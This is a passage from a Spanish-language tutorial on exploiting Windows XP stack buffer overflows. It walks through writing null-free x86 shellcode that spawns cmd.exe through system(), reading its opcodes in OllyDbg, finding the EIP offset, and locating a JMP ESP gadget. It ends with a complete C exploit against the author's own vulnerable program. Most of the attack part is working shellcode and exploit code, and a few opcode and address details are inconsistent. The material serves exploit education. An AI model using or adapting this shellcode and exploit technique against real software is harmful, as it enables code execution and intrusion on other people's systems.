1º- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadenade cmd.exe--> "cmd.exe\00". Esto nos puede acarrear problemas con strcpy, si strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena.
Cualquier función que trabaje con cadenas, un 0, un 0x00, un \x00 lo interpreta como fin de cadena (aunque luego haya mas cosas, las ignora)

2º- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push '.', etc...), y luego saber su dirección en la propia pila, para pasársela a System() como argumento.

3º- Necesitamos la dirección de la función System() en la DLL msvcrt.dll

Así que iremos punto por punto para hacer nuestra shellcode básica.


-== COMO HACER UNA SHELLCODE BASICA ==-

1º El tema del nulo (null)

Pongamos este ejemplo, en codigo C:

char buffer[10]; //declaramos un array de 10bytes
char cadena[10]= "lola\0wop";  //declaramos otro que contiene ese string.

strcpy (buffer, cadena)  // copiamos cadena dentro de buffer.

Strcpy() solo copiara "lola" en buffer, ya que ha detectado un \0 (NULL), que significa FIN DE CADENA.

Así que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos de carro (0x0D), así como "mas cosas" según lo que acepte el programa vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows muy largo tendrá la dificultad que la shellcode no podrá contener caracteres que Windows no permite en los nombres de fichero, por ejemplo.

¿Como la hacemos para que no haya nulos en los opcodes, pero si en la pila?

Muy fácil, usando la función XOR (OR exclusivo).

Cuando a un valor se le hace un XOR consigo mismo, da 0. Si queres mas información sobre XOR (y sus diversas funciones respecto a una shellcode, muy interesantes, como al encriptación XOR que se empezó a usar en virus...) google.

xor edi,edi  <-- He usado EDI por ejemplo...  EDI será igual a 00000000.push edi <--- Metemos 00000000 en la pila

Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en hexadecimal no contienen ningún 0 en hexadecimal, perfecto.

2º- Necesitamos meter "cmd.exe" en la pila y saber la dirección del inicio de la cadena "cmd.exe" en la pila.

sub esp,04h  <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba", dejándonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes)

mov byte ptr [ebp-08h],63h  <-- Mete 'c' en hexadecimal en ebp-8bytes
mov byte ptr [ebp-07h],6Dh  <-- Mete 'm' en ebp -7
mov byte ptr [ebp-06h],64h  <-- Mete 'd' en ebp -6
mov byte ptr [ebp-05h],2Eh  <-- Mete '.' en ebp -5
mov byte ptr [ebp-04h],65h  <-- Mete 'e' en ebp -4
mov byte ptr [ebp-03h],78h  <-- Mete 'x' en ebp -3
mov byte ptr [ebp-02h],65h  <-- Mete 'e' en ebp -2

lea eax,[ebp-08h]  <--- cargamos en eax, la dirección (NO el valor) de ebp-08, que apunta a nuestra 'c', el inicio de cmd.exe
push eax  <-- Metemos la dirección de 'cmd.exe' en la pila

Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea bastante reutilizable. Las direcciones de la pila son muy variables, con lo que no conviene usar direcciones absolutas. De todas formas, alguna dirección absoluta usamos. Ya lo veremos.....

Ya están la cadena cmd.exe\00 en la pila, solo necesitamos la dirección de system()

3º- dirección de System() en la DLL msvcrt.dll

Esta dirección (u offset) variara debido a la versión (Win2k, Win XP, etc..) así como a los service packs instalados, lenguaje del SO y cualquier otra cosa que modifique las DLLs del sistema (puede ocurrir que dos personas tengan el mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas). Se puede crear una shellcode (no es muy difícil, hay varios métodos) que no se
sirva de ninguna dirección "harcodeada" (es decir, dirección fija) pero no lo trataremos aquí ya que esto se alargaría bastante, además de que solo tratamos de crear una shellcode simple y que funcione. De todas formas, saber que la dirección de system (y de cualquier otra API) se puede sacar en tiempo de ejecución, haciendo la shellcode completamente universal.

Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente creando por ejemplo un código C donde se llame a system() y luego en el debugger, ver a donde apunta el Call msvcrt.system.

Pero, como soy vago. He medio codeado un mini programa que te dice el offset de cualquier función en cualquier dll.
Lo podes encontrar aquí:

http://foro.elhacker.net/index.php/topic,56137.0.html

Pero por si no lo quieres buscar, os pongo el código C:

#include <stdio.h>
#include <windows.h>
typedef VOID (*MYPROC)(LPTSTR);

int main (int argc, char **argv) {
    char dll[100];
    char función[100];
   
    HINSTANCE libreria;   
    MYPROC procadd;

    printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la DLL,\n");
    printf ("y como segundo argumento la función dentro de esa DLL\n");
    printf ("Por ejemplo %s msvcrt.dll system\n\n", argv[0]);
   
    if (argc != 3){
        printf ("Introduce 2 argumentos como se explica mas arriba!!!\n");
        return 1;
        }
       
    memset(dll,0,sizeof(dll));
    memset(funcion,0,sizeof(funcion));
   
    memcpy (dll, argv[1], strlen(argv[1]));
    memcpy (funcion, argv[2], strlen(argv[2]));
   
    libreria = LoadLibrary(dll);
    procadd = (MYPROC)GetProcAddress (libreria,funcion);
   
    printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd);
   
    return 0;
   
    }

Ojo, después de codearlo, me dado cuenta que hay varios códigos por ahí que hacen lo mismo, además de que cualquier programador que haya trabajado con APIs de Windows, sabe hacer este código. Simplemente me lo he codeado, por codear.

Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos el offset.

mov ebx,0x77bf8044  <-- Metemos en ebx el valor del offset de system, en un Win XP SP1 es 77bf8044
call ebx  <-- Llamamos a system y ejecuta nuestra shellcode.

Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un registro, y luego llamar al registro.

Veamos el código completo de la shellcode, dentro de un código C. Lo metemos en un código C para poder probarlo (en vez de buscar un compilador como NASM o TASM) ya que es mas "fácil". Además, tenemos que "cargar" la librería msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a system. Si no la cargáramos, al tratar de ejecutar la shellcode, como msvcrt.dll no esta en la tabla de importaciones del ejecutable, no la podríamos usar.

Normalmente, los programas vulnerables que "petemos" cargaran numerosas librerías, con lo que nos podremos valer de ellas. Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y ntdll.dll (las cargan todos los ejecutables), y a través de kernel32.dll podemos buscar los offsets de LoadLibrary (para cargar la librería DLL que queramos) así como GetProcAddress(para saber la dirección de la función o API dentro de la librería cargada).Todo esto a través de la shellcode, así es como se realizan las shellcodes "universales". Pero eso se sale de una shellcode "simple", así que no lo trataremos.

Bien, este es el código C:

#include <stdio.h>
#include <windows.h>

int main () {

LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf8044
call ebx
}
}


Este código NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM AT&T, mucho mas complicado y coñazo (para mi), lo tendréis que compilar en VISUAL C++ o otro equivalente que trabaje con ASM Intelx86.

Las instrucciones:

push ebp
mov ebp,esp

Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En este caso es necesario, pero es más que probable que en un exploit "real" no lo necesitemos, ya que el programa que tratemos de explotar tendrá la pila lista para introducir nuestra shellcode. Lo único que hace es salvar el ebp actual, y crear una nueva "pila" al mover el valor de esp en ebp.

Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona. Sale una shell MSDOS.

Bien, pero ¿como "metemos" esta shellcode en el programa vulnerable?

A través de sus opcodes hexadecimales, la "conversión" de instrucción ASM a hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe:


004012CD  |. 68 80124000    PUSH vuln1.00401280                      ; /format = "Introduzca un argumento al programa"
004012D2  |. E8 79170000    CALL <JMP.&msvcrt.printf>                ; \printf
004012D7  |. 83C4 10        ADD ESP,10
004012DA  |. EB 17          JMP SHORT vuln1.004012F3
004012DC  |> 83EC 08        SUB ESP,8
004012DF  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
004012E2  |. 83C0 04        ADD EAX,4
004012E5  |. FF30           PUSH DWORD PTR DS:[EAX]                  ; /src
004012E7  |. 8D45 B8        LEA EAX,DWORD PTR SS:[EBP-48]            ; |
004012EA  |. 50             PUSH EAX                                 ; |dest
004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10

Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB ESP,8 es '83EC 08'.

Para ver los opcodes de nuestra shellcode hay varios métodos, pero vamos, lo mas fácil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta (al menos así lo hago yo con shellcodes cortas). Se explican en numerosos documentos (entre ellos, en documentos de ezines españolas muy recomendables de leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo lo haré a mano.

Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son instrucciones que añade el compilador para que funcione perfectamente, compatibilidad msdos, control básico de errores, etc..... Si queremos buscar nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras...

Yo la que he usado, mas cómoda, es mirar la tabla de string references, la tabla donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me lleva directamente al código del LoadLibrary ("msvcrt.dll"). Para ver las string references, clik botón derecho, Search for -> All refenced strings. Abajo del todo (en mi caso) estaba msvcrt.dll.

También podemos hacerlo buscando una instrucción de nuestra shellcode (por ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso (algo lento).

Bueno, vamos al código (al hacer lo de string references):

0040B4DA  |. 68 3CFF4100    PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName
= "msvcrt.dll"
0040B4DF  |. FF15 5C414200  CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
0040B4E5  |. 3BF4           CMP ESI,ESP
0040B4E7  |. E8 845BFFFF    CALL pruebash.__chkesp
0040B4EC  |. 55             PUSH EBP         <---- Aquí empieza nuestra shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:[EBP-8],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:[EBP-7],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:[EBP-6],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:[EBP-5],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:[EBP-4],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:[EBP-3],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:[EBP-2],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX         <--- Aqui acaba nuestra shellcode
0040B51C  |. 5F             POP EDI
0040B51D  |. 5E             POP ESI
0040B51E  |. 5B             POP EBX
0040B51F  |. 83C4 40        ADD ESP,40
0040B522  |. 3BEC           CMP EBP,ESP
0040B524  |. E8 475BFFFF    CALL pruebash.__chkesp
0040B529  |. 8BE5           MOV ESP,EBP
0040B52B  |. 5D             POP EBP
0040B52C  \. C3             RETN


"Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y vemos que el compilador ha añadido instrucciones por debajo y por arriba (lo dicho, compatibilidad, control de excepciones, salida del programa, etc..), pero no nos importa. Aquí esta la shellcode:

0040B4EC  |. 55             PUSH EBP  <---- Aquí empieza nuestra shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:[EBP-8],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:[EBP-7],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:[EBP-6],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:[EBP-5],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:[EBP-4],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:[EBP-3],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:[EBP-2],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX  <--- Aqui acaba nuestra shellcode

Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un archivo de texto, o usamos algun programa que nos la printee por pantalla.

Deberíamos tener algo así:

55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF
D3

Estos son los opcodes. Si os fijáis, veréis que esta la dirección del offset de System() (77BF8044) pero AL REVES.
Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD, etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en casa, nos manejaremos en Little Endian a la hora de direcciones y offsets. Simplemente, para no enrollarme, al meter un offset, lo tenéis que meter "al revés". Si queréis mas información, google -> little endian.

Bien, tenemos los opcodes de nuestra shellcode. Sabemos que por ejemplo A = 41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o 6Dh = m, pero hay otros que están fuera de la tabla ASCII, y además, meter así los opcodes es un coñazo, y que nadie lo hace..

Pero... ¿como sabemos la dirección del inicio de la shellcode para poder sobrescribir EIP con su valor? ¿Como haremos para que el programa funcione siempre si las direcciones de la pila varían? ¿Y como le pasamos al programa vulnerable la shellcode?

-== CREANDO EL EXPLOIT ==-

Vamos a crear el exploit.

- ¿Como sabemos la dirección del inicio de la shellcode para sobrescribir EIP con su valor?

Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la dirección de la shellcode, usaremos una técnica especial xDDDD. En vez de mandar al programa AAAAAAAAAAAAAAAs... a mogollón, le mandaremos AAAABBBBCCCCDDDD....

Así sabremos donde exactamente sobrescribe el RET, para así poder cambiarlo por la dirección de la shellcode.

Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...

Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y ejecutara nuestra shellcode.

- ¿Como haremos que el programa funcione siempre si las direcciones de la pila varían?

Si metiéramos directamente la dirección de la shellcode en la pila (una dirección del tipo 0022XXXX), tendríamos 2 problemas: La pila cambia muchísimo según las aplicaciones que estén en ejecución, y mas aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio ordenador.

Y el otro problema, es que en la pila las direcciones contienen un 00 --> 0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la dirección de la pila.

Pero si habéis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de nuevo), fijaos en la pila cuando se produce la excepción:

0022FF74   54545454   <- EIP ha tratado de ejecutar lo que hay en la dirección
54545454 (EIP = 54545454)
0022FF78   55555555   <- ESP= 0022FF78
0022FF7C   56565656

Si os fijáis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555. ¿No os da una idea?

Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555 tuviéramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!!

Vamos paso a paso.

En vez de 54545454 hay una dirección de una instrucción de un JMP ESP. EIP cogería esa dirección, ejecutaría el JMP ESP, y "caería" donde apunta ESP, es decir, en 55555555, que lo cambiaríamos por nuestra shellcode, por lo que se ejecutaría.

Y como buscamos una dirección de un JMP ESP o un CALL ESP? En una DLL que cargue el programa vulnerable, con FINDJMP, un programita realmente útil. Dicho programita, buscara en la DLL que le digamos, instrucciones referidas al registro que queramos.

Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y ntdll.dll, aunque también podríamos usar cualquier librería que cargara el programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el Ollydbg, y ver los EXECUTABLE MODULES, y ahí vienen las DLLs que carga).

Si usáramos el findjmp así:

Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp kernel32.dll esp

Scanning kernel32.dll for code useable with the esp register
0x77E81941      call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses

Vemos que solo hay una instrucción que use el registro ESP, y es un CALL ESP, preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su instrucción anterior, y eso nos puede fastidiar la shellcode..). Mejor buscamos un JMP ESP:

Microsoft Windows XP [Versión 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp ntdll.dll esp

Scanning ntdll.dll for code useable with the esp register
0x77F7AC16      call esp
0x77F8980F      jmp esp
Finished Scanning ntdll.dll for code useable with the esp register
Found 2 usable addresses

Ya tenemos un JMP ESP en la librería ntdll.dll, en el offset 0x77F8980F.

Esto es en mi Windows XP SP1, el offset cambiara según versiones del Windows, SP, lenguajes...

En Linux no se hace así, no se llama a un JMP ESP, si no que se usa, en la forma BÁSICA de explotación, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente pasan a la siguiente instrucción), offsets aproximados de direcciones de la pila, y un bruteforce... Eso, si hay ganas, se hará otro manual, pero para explotación en sistemas Linux si que hay mucha mas documentación, y en español incluso.

- Como le pasamos al programa la shellcode

Ya tenemos la dirección del JMP ESP, es decir, sabemos con que valor tenemos que sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer)+ offset JMP ESP + shellcode.

¿Como lo hacemos?

El programa vulnerable recibe los datos que hacen el overflow a través de la línea de comandos, de sus argumentos. Podríamos pasarle la shellcode en caracteres printeables por los argumentos,
pero eso es un coñazo, porque primero tendríamos que convertir esos opcodes a su equivalente en la tabla ASCII (algunos no están) y luego copy paste... no no, mejor que no.

Mejor nos codeamos un "exploit" en C, que llamara al programa pasándole los datos de la shellcode por parámetro, así nos libramos de convertir los opcodes. De todas formas, en el programa incluiré un printf() para que veas como son.

/* exploit_vuln1.c por Rojodos */

#include <stdio.h> // Entrada/Salida
#include <stdlib.h> // execv()

int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv

    char
evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"
    "OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
   
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
    "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
    //Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada
    //en \x44\x80\xBF\x77 0x77BF9044
   
    char offset[]="\x0F\x98\xF8\x77"; // Offset jmp esp ntdll32.dll WinXP SP1 Esp
     
    strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
    strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
    argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
    argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
   
    execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento
    }


Nota para los programadores. Tendría que haber creado una estructura de punteros para usarlo en el execv, pero me he valido de argv[] para no marear las cosas, por simplicidad. Espero que no me cuelgen por eso.

Este exploit compila perfectamente en Dev Cpp, y *debería* compilar en cualquier otro compilador de Windows (y de Linux). La única función que podría dar problemas es execv, pero en teoría es compatible con Windows, no creo que haya ningún problema. No lo he probado en más compiladores.

Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell MSDOS.


Hemos explotado con éxito el programa vuln1.exe, a través del programa exploit_vuln1.exe.


Espero que les haya gustado el documento, y que os ayude a, primero, entender los stack overflows, y luego, a crear vuestros propios exploits básicos. La mejor forma de aprender, aparte de leer docs y mas docs, es programando, programando y mas programando.

Los dos exploits públicos que he escrito, el del Winamp 5.08 Stack Overflow y el de Acrobat Reader 6.0.1 Stack Overflow están basados en este documento. Cualquiera que lea y comprenda este documento, podría haber creado dichos exploits. Así que como ves, no tiene ningún misterio.

No dejes de practicar.
Compartir